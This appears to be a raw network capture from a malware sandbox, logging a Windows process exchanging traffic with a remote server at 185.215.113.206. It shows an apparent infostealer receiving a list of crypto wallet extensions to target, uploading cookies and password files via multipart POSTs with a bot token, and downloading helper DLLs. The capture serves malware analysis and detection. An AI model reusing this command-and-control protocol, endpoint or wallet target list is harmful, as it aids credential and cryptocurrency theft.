2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Oct 29, 2024 02:46:08.970851898 CET	212	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8
Oct 29, 2024 02:46:08.970889091 CET	1236	IN	Data Raw: 5a 6d 68 74 5a 6d 56 75 5a 47 64 6b 62 32 4e 74 59 32 4a 74 5a 6d 6c 72 5a 47 4e 76 5a 32 39 6d 63 47 68 70 62 57 35 72 62 6d 39 38 4d 58 77 77 66 44 42 38 51 58 56 79 62 79 42 58 59 57 78 73 5a 58 51 6f 54 57 6c 75 59 53 42 51 63 6d 39 30 62 32 Data Ascii: ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29mcGhpbW5rbm98MXwwfDB8QXVybyBXYWxsZXQoTWluYSBQcm90b2NvbCl8Y25tYW1hYWNocHBua2pnbmlsZHBkbWthYWtlam5oYWV8MXwwfDB8UG9seW1lc2ggV2FsbGV0fGpvamhmZW9lZGtwa2dsYmZpbWRmYWJwZGZqYW9vbGFmfDF8MHwwfElDT05leHxmbHBpY2lpbGVtZ2hibWZ
Oct 29, 2024 02:46:08.970923901 CET	1236	IN	Data Raw: 64 48 78 6b 61 32 52 6c 5a 47 78 77 5a 32 52 74 62 57 74 72 5a 6d 70 68 59 6d 5a 6d 5a 57 64 68 62 6d 6c 6c 59 57 31 6d 61 32 78 72 62 58 77 78 66 44 42 38 4d 48 78 4c 53 45 4e 38 61 47 4e 6d 62 48 42 70 62 6d 4e 77 63 48 42 6b 59 32 78 70 62 6d Data Ascii: dHxka2RlZGxwZ2RtbWtrZmphYmZmZWdhbmllYW1ma2xrbXwxfDB8MHxLSEN8aGNmbHBpbmNwcHBkY2xpbmVhbG1hbmRpamNtbmtiZ258MXwwfDB8VGV6Qm94fG1uZmlmZWZrYWpnb2ZrY2prZW1pZGlhZWNvY25ramVofDF8MHwwfFRlbXBsZXxvb2tqbGJraWlqaW5ocG1uamZmY29mam9uYmZiZ2FvY3wxfDB8MHxHb2J5fGp
Oct 29, 2024 02:46:08.970957041 CET	1236	IN	Data Raw: 62 6d 4e 73 5a 32 74 38 4d 58 77 77 66 44 42 38 52 6d 6c 75 62 6d 6c 6c 66 47 4e 71 62 57 74 75 5a 47 70 6f 62 6d 46 6e 59 32 5a 69 63 47 6c 6c 62 57 35 72 5a 48 42 76 62 57 4e 6a 62 6d 70 69 62 47 31 71 66 44 46 38 4d 48 77 77 66 45 78 6c 59 58 Data Ascii: bmNsZ2t8MXwwfDB8RmlubmllfGNqbWtuZGpobmFnY2ZicGllbW5rZHBvbWNjbmpibG1qfDF8MHwwfExlYXAgVGVycmEgV2FsbGV0fGFpamNiZWRvaWptZ25sbWplZWdqYWdsbWVwYm1wa3BpfDF8MHwwfFRyZXpvciBQYXNzd29yZCBNYW5hZ2VyfGltbG9pZmtnamFnZ2hubmNqa2hnZ2RoYWxtY25ma2xrfDF8MHwwfEF1dGh
Oct 29, 2024 02:46:08.971013069 CET	236	IN	Data Raw: 64 57 78 30 66 47 6c 6e 61 33 42 6a 62 32 52 6f 61 57 56 76 62 58 42 6c 62 47 39 75 59 32 5a 75 59 6d 56 72 59 32 4e 70 62 6d 68 68 63 47 52 69 66 44 46 38 4d 48 77 77 66 45 39 77 5a 58 4a 68 49 46 64 68 62 47 78 6c 64 48 78 6e 62 32 70 6f 59 32 Data Ascii: dWx0fGlna3Bjb2RoaWVvbXBlbG9uY2ZuYmVrY2NpbmhhcGRifDF8MHwwfE9wZXJhIFdhbGxldHxnb2poY2RnY3BicGZpZ2NhZWpwZmhmZWdla2RnaWJsa3wwfDB8MXxUcnVzdCBXYWxsZXR8ZWdqaWRqYnBnbGljaGRjb25kYmNiZG5iZWVwcGdkcGh8MXwwfDB8UmlzZSAtIEFwdG9zIFdhbGxldHxoYmJnYmVwaGdv
Oct 29, 2024 02:46:08.971062899 CET	1236	IN	Data Raw: 61 6d 6c 72 59 57 70 6f 5a 6d 4a 76 62 57 68 73 62 57 31 76 62 47 78 77 61 47 4e 68 5a 48 77 78 66 44 42 38 4d 48 78 53 59 57 6c 75 59 6d 39 33 49 46 64 68 62 47 78 6c 64 48 78 76 63 47 5a 6e 5a 57 78 74 59 32 31 69 61 57 46 71 59 57 31 6c 63 47 Data Ascii: amlrYWpoZmJvbWhsbW1vbGxwaGNhZHwxfDB8MHxSYWluYm93IFdhbGxldHxvcGZnZWxtY21iaWFqYW1lcG5tbG9pamJwb2xlaWFtYXwxfDB8MHxOaWdodGx5IFdhbGxldHxmaWlrb21tZGRiZWNjYW9pY29lam9uaWFtbW5hbGtmYXwxfDB8MHxFY3RvIFdhbGxldHxiZ2pvZ3BvaWRlamRlbWdvb2NocG5rbWRqcG9jZ2toYXw
Oct 29, 2024 02:46:08.971101046 CET	716	IN	Data Raw: 61 48 4a 76 62 57 6c 31 62 58 78 6a 61 57 39 71 62 32 4e 77 61 32 4e 73 5a 6d 5a 73 62 32 31 69 59 6d 4e 6d 61 57 64 6a 61 57 70 71 59 32 4a 72 62 57 68 68 5a 6e 77 78 66 44 42 38 4d 48 78 4e 59 57 64 70 59 79 42 46 5a 47 56 75 49 46 64 68 62 47 Data Ascii: aHJvbWl1bXxjaW9qb2Nwa2NsZmZsb21iYmNmaWdjaWpqY2JrbWhhZnwxfDB8MHxNYWdpYyBFZGVuIFdhbGxldHxta3BlZ2prYmxra2VmYWNmbm1rYWpjam1hYmlqaGNsZ3wxfDB8MHxCYWNrcGFjayBXYWxsZXR8YWZsa21maGViZWRiamlvaXBnbGdjYmNtbmJwZ2xpb2Z8MXwwfDB8VG9ua2VlcGVyIFdhbGxldHxvbWFhYmJ
Oct 29, 2024 02:46:08.973057985 CET	470	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DBKFIDAAEHIEGCBFIDBF Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 42 4b 46 49 44 41 41 45 48 49 45 47 43 42 46 49 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 33 39 39 38 66 64 33 65 66 61 30 62 65 34 39 66 34 36 36 31 34 37 62 35 64 34 30 38 61 34 63 37 36 37 63 30 61 65 61 65 66 34 32 35 63 37 31 65 66 31 39 34 35 37 63 36 38 39 66 33 30 36 64 39 65 39 63 30 66 37 62 0d 0a 2d 2d 2d 2d 2d 2d 44 42 4b 46 49 44 41 41 45 48 49 45 47 43 42 46 49 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 44 42 4b 46 49 44 41 41 45 48 49 45 47 43 42 46 49 44 42 46 2d 2d 0d 0a Data Ascii: ------DBKFIDAAEHIEGCBFIDBFContent-Disposition: form-data; name="token"d3998fd3efa0be49f466147b5d408a4c767c0aeaef425c71ef19457c689f306d9e9c0f7b------DBKFIDAAEHIEGCBFIDBFContent-Disposition: form-data; name="message"fplugins------DBKFIDAAEHIEGCBFIDBF--
Oct 29, 2024 02:46:09.255883932 CET	335	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 01:46:09 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Oct 29, 2024 02:46:09.278003931 CET	203	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GCGIDGCGIEGDGDGDGHJK Host: 185.215.113.206 Content-Length: 7719 Connection: Keep-Alive Cache-Control: no-cache
Oct 29, 2024 02:46:09.278085947 CET	7719	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 47 43 47 49 44 47 43 47 49 45 47 44 47 44 47 44 47 48 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 33 39 39 38 66 Data Ascii: ------GCGIDGCGIEGDGDGDGHJKContent-Disposition: form-data; name="token"d3998fd3efa0be49f466147b5d408a4c767c0aeaef425c71ef19457c689f306d9e9c0f7b------GCGIDGCGIEGDGDGDGHJKContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Oct 29, 2024 02:46:10.068049908 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 01:46:09 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 29, 2024 02:46:10.068727016 CET	94	OUT	GET /746f34465cf17784/sqlite3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 29, 2024 02:46:10.349958897 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 01:46:10 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49744	185.215.113.206	80	6024	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 02:46:23.501107931 CET	202	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EHJJECBKKECFIEBGCAKJ Host: 185.215.113.206 Content-Length: 991 Connection: Keep-Alive Cache-Control: no-cache
Oct 29, 2024 02:46:23.501167059 CET	991	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 45 48 4a 4a 45 43 42 4b 4b 45 43 46 49 45 42 47 43 41 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 33 39 39 38 66 Data Ascii: ------EHJJECBKKECFIEBGCAKJContent-Disposition: form-data; name="token"d3998fd3efa0be49f466147b5d408a4c767c0aeaef425c71ef19457c689f306d9e9c0f7b------EHJJECBKKECFIEBGCAKJContent-Disposition: form-data; name="file_name"Y29va2llc1xHb
Oct 29, 2024 02:46:24.901885986 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 01:46:24 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 29, 2024 02:46:25.058094025 CET	565	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HIDAFHDHCBGDGCBGCGII Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 49 44 41 46 48 44 48 43 42 47 44 47 43 42 47 43 47 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 33 39 39 38 66 64 33 65 66 61 30 62 65 34 39 66 34 36 36 31 34 37 62 35 64 34 30 38 61 34 63 37 36 37 63 30 61 65 61 65 66 34 32 35 63 37 31 65 66 31 39 34 35 37 63 36 38 39 66 33 30 36 64 39 65 39 63 30 66 37 62 0d 0a 2d 2d 2d 2d 2d 2d 48 49 44 41 46 48 44 48 43 42 47 44 47 43 42 47 43 47 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 48 49 44 41 46 48 44 48 43 42 47 44 47 43 42 47 43 47 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------HIDAFHDHCBGDGCBGCGIIContent-Disposition: form-data; name="token"d3998fd3efa0be49f466147b5d408a4c767c0aeaef425c71ef19457c689f306d9e9c0f7b------HIDAFHDHCBGDGCBGCGIIContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------HIDAFHDHCBGDGCBGCGIIContent-Disposition: form-data; name="file"------HIDAFHDHCBGDGCBGCGII--
Oct 29, 2024 02:46:25.824245930 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 01:46:25 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49838	185.215.113.206	80	6024	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 02:46:34.375132084 CET	203	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DBFBFBGDBKJJKFIEHJDB Host: 185.215.113.206 Content-Length: 3087 Connection: Keep-Alive Cache-Control: no-cache
Oct 29, 2024 02:46:34.375271082 CET	3087	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 44 42 46 42 46 42 47 44 42 4b 4a 4a 4b 46 49 45 48 4a 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 33 39 39 38 66 Data Ascii: ------DBFBFBGDBKJJKFIEHJDBContent-Disposition: form-data; name="token"d3998fd3efa0be49f466147b5d408a4c767c0aeaef425c71ef19457c689f306d9e9c0f7b------DBFBFBGDBKJJKFIEHJDBContent-Disposition: form-data; name="file_name"Y29va2llc1xNa
Oct 29, 2024 02:46:35.782171011 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 01:46:35 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 29, 2024 02:46:36.050731897 CET	565	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EHIDAKECFIEBGDHJEBKK Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 48 49 44 41 4b 45 43 46 49 45 42 47 44 48 4a 45 42 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 33 39 39 38 66 64 33 65 66 61 30 62 65 34 39 66 34 36 36 31 34 37 62 35 64 34 30 38 61 34 63 37 36 37 63 30 61 65 61 65 66 34 32 35 63 37 31 65 66 31 39 34 35 37 63 36 38 39 66 33 30 36 64 39 65 39 63 30 66 37 62 0d 0a 2d 2d 2d 2d 2d 2d 45 48 49 44 41 4b 45 43 46 49 45 42 47 44 48 4a 45 42 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 48 49 44 41 4b 45 43 46 49 45 42 47 44 48 4a 45 42 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------EHIDAKECFIEBGDHJEBKKContent-Disposition: form-data; name="token"d3998fd3efa0be49f466147b5d408a4c767c0aeaef425c71ef19457c689f306d9e9c0f7b------EHIDAKECFIEBGDHJEBKKContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------EHIDAKECFIEBGDHJEBKKContent-Disposition: form-data; name="file"------EHIDAKECFIEBGDHJEBKK--
Oct 29, 2024 02:46:36.936315060 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 01:46:36 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 29, 2024 02:46:37.489963055 CET	94	OUT	GET /746f34465cf17784/freebl3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 29, 2024 02:46:37.773006916 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 01:46:37 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Oct 29, 2024 02:46:37.773047924 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 89 e5 68 4f 01 00 00 e8 f2 0b 08 00 83 c4 04 85 c0 74 0e 89 80 38 01 00 00 83 c0 0f 83 e0 f0 5d c3 68 13 e0 ff ff e8 c7 0b Data Ascii: UhOt8]h1]UWVEtu}UMt"0(h&40jVjjRQP?^_]USWVhO?t0
Oct 29, 2024 02:46:37.773082972 CET	424	IN	Data Raw: 55 07 08 00 83 c4 08 eb ce cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 83 e4 f8 83 ec 58 89 4c 24 2c 8b 7d 1c a1 b4 30 0a 10 31 e8 89 44 24 50 c7 44 24 3c 10 00 00 00 83 ff 18 72 19 89 f8 83 e0 07 75 12 8d 47 f8 3b 45 14 76 14 68 03 e0 ff Data Ascii: UUSWVXL$,}01D$PD$<ruG;Evhh\|$,}uT$4D$0P\|OL$8PVS'D$@?@L$L$D$D$D$$
Oct 29, 2024 02:46:37.773179054 CET	1236	IN	Data Raw: 0f b6 fb 31 54 24 44 81 e1 00 ff 00 00 09 c1 09 cf 89 7c 24 40 80 7c 24 07 00 74 10 8b 5c 24 28 e9 a7 00 00 00 0f 1f 80 00 00 00 00 8b 44 24 08 80 ec 01 8b 5c 24 28 73 46 8b 44 24 0c 2c 01 89 44 24 0c 73 40 8b 44 24 10 2c 01 89 44 24 10 73 3c 8b Data Ascii: 1T$D\|$@\|$t\$(D$\$(sFD$,D$s@D$,D$s<D$,sBD$,s@D$ ,D$ D$$D$$D$(D$GD$?D$D$1D$L$D$D$D$D$f.DD$HjD$DPjL$HQPt$@m
Oct 29, 2024 02:46:37.773214102 CET	1236	IN	Data Raw: 07 00 00 00 29 c8 c1 f8 1f f7 d0 8b 4d 1c 80 7c 31 f0 01 19 c9 09 c1 85 ca 74 2f 8b 45 10 8b 55 d0 89 10 b9 03 e0 ff ff 3b 55 14 8b 5d d4 77 22 31 ff 8b 45 0c 39 c6 74 3a 52 56 50 e8 20 01 08 00 eb 2d bf ff ff ff ff eb 3a b9 02 e0 ff ff 8b 5d d4 Data Ascii: )M\|1t/EU;U]w"1E9t:RVP -:]QsE9uSjPEtSP\M1$^_[]USWVut:}t$FHjShjVPt^_[]^_[]USWV}
Oct 29, 2024 02:46:37.773248911 CET	424	IN	Data Raw: 0a 10 6a 01 57 ff d1 83 c4 08 68 0c 01 00 00 6a 00 56 e8 34 fc 07 00 83 c4 0c eb 25 85 ff 74 15 89 c8 89 f1 89 d6 8b 55 10 56 50 e8 64 fc ff ff 83 c4 10 eb 6e 8d 46 08 89 45 ec 8b 46 08 89 45 f0 c7 46 08 00 00 00 00 89 5e 04 8b 4b 04 ff 15 00 80 Data Ascii: jWhjV4%tUVPdnFEFEF^Kt=Uuu#t>t FHjWEM1^_[]USWVu>FHW>FHXSVW^_[]
Oct 29, 2024 02:46:37.773282051 CET	1236	IN	Data Raw: ff d1 83 c4 0c 8b 37 8b 47 04 8b 48 14 8b 45 10 8b 18 ff 15 00 80 0a 10 53 8b 5d 0c 53 56 ff d1 83 c4 0c 8b 37 8b 47 04 8b 48 18 ff 15 00 80 0a 10 ff 75 14 ff 75 10 53 56 ff d1 83 c4 10 31 c0 83 c4 04 5e 5f 5b 5d c3 cc cc cc cc 55 89 e5 53 57 56 Data Ascii: 7GHES]SV7GHuuSV1^_[]USWVPh1tq]@CFECHut7FKSrQP;KqSPVi^_[]Uh
Oct 29, 2024 02:46:37.773335934 CET	1236	IN	Data Raw: 04 02 0f b6 c8 8b 7d f0 8a 14 0f 00 d6 0f b6 f6 8a 24 37 88 24 0f 88 14 37 8b 75 14 00 d4 0f b6 cc 8b 5d 10 8a 53 01 32 14 0f 8b 4d e4 88 51 01 83 fe 02 0f 84 e8 00 00 00 8b 45 ec 04 03 0f b6 c8 8b 7d f0 8a 14 0f 00 d6 0f b6 f6 8a 24 37 88 24 0f Data Ascii: }$7$7u]S2MQE}$7$7u]S2MQE}$7$7u]S2MQttE}$7$7u]S2MQt<E}
Oct 29, 2024 02:46:37.773370981 CET	1236	IN	Data Raw: 74 09 0f b6 46 02 c1 e0 10 09 c1 89 4d e0 8a 55 e8 8b 45 d0 8b 4d ec 83 c7 04 e9 29 01 00 00 66 0f ef c9 66 0f 6f 05 c0 20 08 10 31 f6 66 0f ef d2 f6 c2 01 0f 84 9b 00 00 00 66 0f 6f 1d d0 20 08 10 66 0f fe d8 0b 75 cc 8b 45 10 66 0f 6e 2c 30 66 Data Ascii: tFMUEM)ffo 1ffo fuEfn,0fnd0ff`faf`fafrfo5 f[fpffpfpffpfbffrf[fpffpfpffpfbfffpffpUff~MU
Oct 29, 2024 02:46:37.773405075 CET	636	IN	Data Raw: 45 f0 89 f9 88 88 00 01 00 00 88 90 01 01 00 00 e9 50 fe ff ff 8b 45 ec 04 07 89 45 ec 0f b6 c0 8b 7d f0 8a 0c 07 00 ce 0f b6 f6 8a 2c 37 88 2c 07 88 0c 37 00 cd 8b 45 10 8a 40 06 0f b6 cd 32 04 0f 88 43 06 8b 4d ec e9 2e f7 ff ff cc cc cc 55 89 Data Ascii: EPEE},7,7E@2CM.USWV\2tRAA q$]QD1A@1RQP5}gjM31
Oct 29, 2024 02:46:40.827311039 CET	94	OUT	GET /746f34465cf17784/mozglue.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 29, 2024 02:46:42.108505011 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 01:46:40 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 